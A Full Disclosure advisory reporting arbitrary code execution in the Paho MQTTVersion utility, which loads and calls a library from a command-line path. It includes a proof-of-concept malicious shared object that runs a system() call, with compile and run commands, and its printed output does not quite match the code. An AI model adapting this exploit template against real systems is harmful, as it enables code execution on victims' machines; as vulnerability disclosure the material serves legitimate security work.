[FD] Paho v1.3.15 Arbitrary Code Execution via Untrusted Dynamic Library Execution

[Ron E <ronaldjedgerson@xxxxxxxxx>]

*Description:*
Arbitrary code execution is possible in the MQTTVersion utility due to
unsafe loading and execution of untrusted shared libraries. When a user
supplies a shared library path as a command-line argument, the application
loads the library using dlopen() and resolves an exported symbol using
dlsym(). The resolved function pointer is invoked directly without
validating the origin or trustworthiness of the loaded library and without
enforcing a security boundary. Because the supplied shared object is fully
attacker-controlled, an attacker may export the expected symbol and execute
arbitrary code when the function is invoked. This results in arbitrary code
execution in the context of the running process.


*Impact:*An attacker can execute arbitrary code with the privileges of the
user running the MQTTVersion utility by providing a crafted shared object.
This may result in command execution, data manipulation, or compromise of
the execution environment. The impact is significantly increased if the
utility is executed by privileged users or within automated tooling such as
CI/CD pipelines, packaging systems, or administrative scripts.

*Affected Code:*
func_address = dlsym(APILibrary, "MQTTAsync_getVersionInfo");
(*func_address)();

*Attack Scenario:*

   1. An attacker creates a malicious shared object exporting the expected
   symbol.
   2. The attacker supplies the shared object path as a command-line
   argument.
   3. The utility loads the attacker-controlled library and invokes the
   exported function.
   4. Arbitrary attacker-controlled code executes in the context of the
   process.



*Proof of Concept (PoC):*

*Malicious Shared Object:*
// evil.c
#include <stdlib.h>

typedef struct {
    const char* name;
    const char* value;
} MQTTAsync_nameValue;

MQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {
    system("echo RCE_FROM_SO");
    static MQTTAsync_nameValue v[] = {
        {"PWNED", "Untrusted library executed"},
        {NULL, NULL}
    };
    return v;
}


*Compile the malicious library:*
clang -shared -fPIC evil.c -o libevil.so

*Exploit:*
./MQTTVersion ./libevil.so

*Output:*
MQTTVersion: print the version strings of an MQTT client library
Copyright (c) 2012, 2018 IBM Corp.
RCE_FROM_SO
PWNED: Function pointer executed

Ron Edgerson
Vulnerability Researcher & Exploit Developer

CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development

🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/